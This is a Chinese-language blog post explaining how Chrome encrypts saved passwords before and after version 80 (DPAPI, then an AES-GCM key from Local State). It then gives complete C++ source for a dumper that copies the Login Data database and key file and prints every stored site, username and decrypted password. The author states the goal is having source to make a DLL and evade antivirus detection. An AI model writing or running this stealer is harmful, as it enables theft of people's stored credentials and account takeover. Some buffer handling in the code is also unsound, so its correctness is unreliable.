0.原理
先知上的文章《c++实现抓取所有版本Chrome存储的密码》解释了chrome浏览器密码存储原理,给出了一些关键代码的截图和示例,并且最终给出了可执行文件。但给出的github中没有给出完整程序的源码,想要改成dll不是很方便,并且没有源码不好做免杀,因此参考该文章自己写了个完整的源码。首先,版本分为80以下版本和80以上版本两种,密码的加密原理如下:
首先,账号密码的数据库文件都保存在 %LocalAppData%\Google\Chrome\User Data\Default\Login Data
中。该文件是一个sqllite数据库文件,密码保存在password_value
字段,但根据版本不同,解密方式有所不同。
- 80版本以下:直接调用windows api
CryptUnprotectData
解密即可。 - 80版本以上:先从
%LocalAppData%\Google\Chrome\User Data\Local State
文件中读取key。该文件是一个json文件,其中的encrypted_key
字段保存着aes加密的秘钥。encrypted_key
字段需要先base64解码,然后删除前面5位的DPAPI
字符,然后调用CryptUnprotectData即可得到aes加密的秘钥。然后使用该秘钥对password_value
字段进行解密,该字段0-2字节为固定字符串v10
或者v11
,3-14位为iv,之后的就是aes-gcm加密的密码,调用aes-gcm解密即可。
1.源码
这里用到了cryptopp作为aes解密的lib,我这里是静态编译的lib文件,换64位的需要重新编译并对源码进行修改。完整的源码如下:
#define _CRT_SECURE_NO_WARNINGS 1; #include <windows.h> #include <stdio.h> #include <fileapi.h> #include <stdlib.h> #include "sqlite/sqlite3.h" #include <string> #include <regex> #include <dpapi.h> #include <fstream> #include "cryptopp/cryptlib.h" #include "cryptopp/base64.h"; #include "cryptopp/aes.h"; #include "cryptopp/filters.h"; #include "cryptopp/gcm.h" #pragma comment(lib,"cryptlib.lib") #pragma comment(lib,"Crypt32.lib") using namespace CryptoPP; using namespace std; const int TAG_SIZE = 16; string decryptKey; string StringToUtf(string strValue) {//用户名可能有中文,防止乱码 int nwLen = MultiByteToWideChar(CP_UTF8, 0, strValue.c_str(), -1, NULL, 0); wchar_t* pwBuf = new wchar_t[nwLen + 1];//加上末尾'\0' memset(pwBuf, 0, nwLen * 2 + 2); MultiByteToWideChar(CP_UTF8, 0, strValue.c_str(), strValue.length(), pwBuf, nwLen); int nLen = WideCharToMultiByte(CP_ACP, 0, pwBuf, -1, NULL, NULL, NULL, NULL); char* pBuf = new char[nLen + 1]; memset(pBuf, 0, nLen + 1); WideCharToMultiByte(CP_ACP, 0, pwBuf, nwLen, pBuf, nLen, NULL, NULL); std::string retStr = pBuf; delete[]pBuf; delete[]pwBuf; return retStr; } char* copyDb() { char dataFilePath[MAX_PATH], copyDbPath[MAX_PATH]; memset(dataFilePath, 0, sizeof(dataFilePath)); memset(copyDbPath, 0, sizeof(copyDbPath)); strcpy(dataFilePath, getenv("LocalAppData")); strcat(dataFilePath, "\\Google\\Chrome\\User Data\\Default\\Login Data"); strcpy(copyDbPath, getenv("Temp")); strcat(copyDbPath, "\\_CL_fbf39e02sy"); if (CopyFileA(dataFilePath, copyDbPath, FALSE)) { return copyDbPath; } else { return NULL; } } string getDecryptkey() { string keyFilePath, copyKeyPath; bool res; //拷贝Local State keyFilePath = getenv("LocalAppData"); keyFilePath += "\\Google\\Chrome\\User Data\\Local State"; copyKeyPath = getenv("Temp"); copyKeyPath += "\\_CL_fbf37e02sy"; if (!CopyFileA(keyFilePath.c_str(), copyKeyPath.c_str(), FALSE)) { printf("[-] Copy Key File Failed!\n"); return ""; } else { printf("[+] Copy Key File Success!\n"); } //将Local State暂存到key变量 ifstream fileInputStream(copyKeyPath, ios::in); istreambuf_iterator<char> beg(fileInputStream), end; string key(beg, end); fileInputStream.close(); //使用正则匹配获取原始key regex pattern("\"encrypted_key\":\"([a-zA-Z0-9/+]+)\""); smatch matchResult; res = regex_search(key, matchResult, pattern); if (res) { key = matchResult.str(); key = key.substr(17, key.length() - 18);//截取中间的值 //printf("key file: \n%s", key.c_str()); printf("[+] Regex Key Value Success!\n"); } else { printf("[-] Regex Key Value Failed!\n"); return ""; } //对Key进行解密 string decodeKey = ""; StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(decodeKey))); key = decodeKey.substr(5);//去除首位DPAPI字符 decodeKey.clear(); //DPAPI解密 char decryptKey[1000] = ""; DATA_BLOB dataOut = { 0 }; DATA_BLOB dataVerify = { 0 }; dataOut.pbData = (BYTE*)key.c_str(); dataOut.cbData = 1000; if (!CryptUnprotectData(&dataOut, nullptr, NULL, NULL, NULL, 0, &dataVerify)) { printf("[-] Decryption key failure: %d\n", GetLastError()); } else { printf("[+] Decryption key successfully!\n"); for (int i = 0; i < dataVerify.cbData; i++) { decryptKey[i] = dataVerify.pbData[i]; } } return decryptKey; } string getdecryptPasswd(byte* pcryptPasswd) { string cryptPasswd = (char*)pcryptPasswd; if (strstr(cryptPasswd.c_str(), "v10") || strstr(cryptPasswd.c_str(), "v11")) {//判断chrome版本是否为80以上 if (decryptKey.length() == 0) {//先判断是否获取了decryptKey decryptKey = getDecryptkey(); } if (cryptPasswd.length() < 15) {// return ""; } string iv, decryptPasswd; iv = cryptPasswd.substr(3, 12);//0-2为前缀,3-14位为iv,共12字节 cryptPasswd = cryptPasswd.substr(15); CryptoPP::GCM<CryptoPP::AES>::Decryption d; d.SetKeyWithIV((BYTE*)decryptKey.c_str(), decryptKey.length(), (BYTE*)iv.c_str(), iv.length()); try { StringSource(cryptPasswd, true, new AuthenticatedDecryptionFilter(d, new StringSink(decryptPasswd), false, TAG_SIZE)); } catch (...){ return ""; } return decryptPasswd; } else { //80以下版本直接DPAPI解密 char decryptPasswd[1000] = ""; DATA_BLOB dataOut = { 0 }; DATA_BLOB dataVerify = { 0 }; dataOut.pbData = (BYTE*)pcryptPasswd; dataOut.cbData = 1000; if (!CryptUnprotectData(&dataOut, nullptr, NULL, NULL, NULL, 0, &dataVerify)) { printf("[-] Decryption password failure: %d\n", GetLastError()); } else { printf("[+] Decryption password successfully!\n"); for (int i = 0; i < dataVerify.cbData; i++) { decryptPasswd[i] = dataVerify.pbData[i]; } } return decryptPasswd; } } static int callback(void* NotUsed, int numOfColumns, char** colValueArr, char** colNameArr) { if (!numOfColumns) { printf("[-] Sorry, No Password Found In DB!"); return 1; } map<string, string> currentCol; for (int i = 0; i < numOfColumns; i++) { currentCol[colNameArr[i]] = colValueArr[i]; } byte* pcryptPasswd = NULL; pcryptPasswd = (byte*)colValueArr[1]; string decryptPassword; if (currentCol["password_value"].length()) { decryptPassword = getdecryptPasswd(pcryptPasswd); //decryptPassword = getdecryptPasswd(currentCol["password_value"], currentCol["origin_url"]); } if (decryptPassword != "") { printf("------------------------------------\n"); printf("origin_url : %s\n", currentCol["origin_url"].c_str()); //printf("action_url : %s\n", currentCol["action_url"].c_str()); printf("username_value : %s\n", StringToUtf(currentCol["username_value"]).c_str()); printf("password_value : %s\n", decryptPassword.c_str()); printf("------------------------------------\n"); } return 0; } int dumpCurrentUserPassword(){ char* copyDbPath=NULL; copyDbPath = copyDb(); if (!copyDbPath) { printf("[-] Copy DB Failed!\n"); return 1; } else { printf("[+] Copy DB Success!\n"); } //获取sqlite数据库中的数据 sqlite3* db = NULL; bool failFlag; failFlag = sqlite3_open(copyDbPath, &db); if (failFlag) { printf("[-] Open DB Failed!\n"); return 1; } else { printf("[+] Open DB Success!\n"); } //callback函数用于对数据库查询的结果做处理 char* ErrMsg = 0; sqlite3_exec(db, "select username_value,password_value,origin_url,action_url from logins", callback, 0, &ErrMsg); if (ErrMsg) { sqlite3_close(db); return 1; } else { sqlite3_close(db); return 0; } } int main(int argc, char* argv[]) { dumpCurrentUserPassword(); }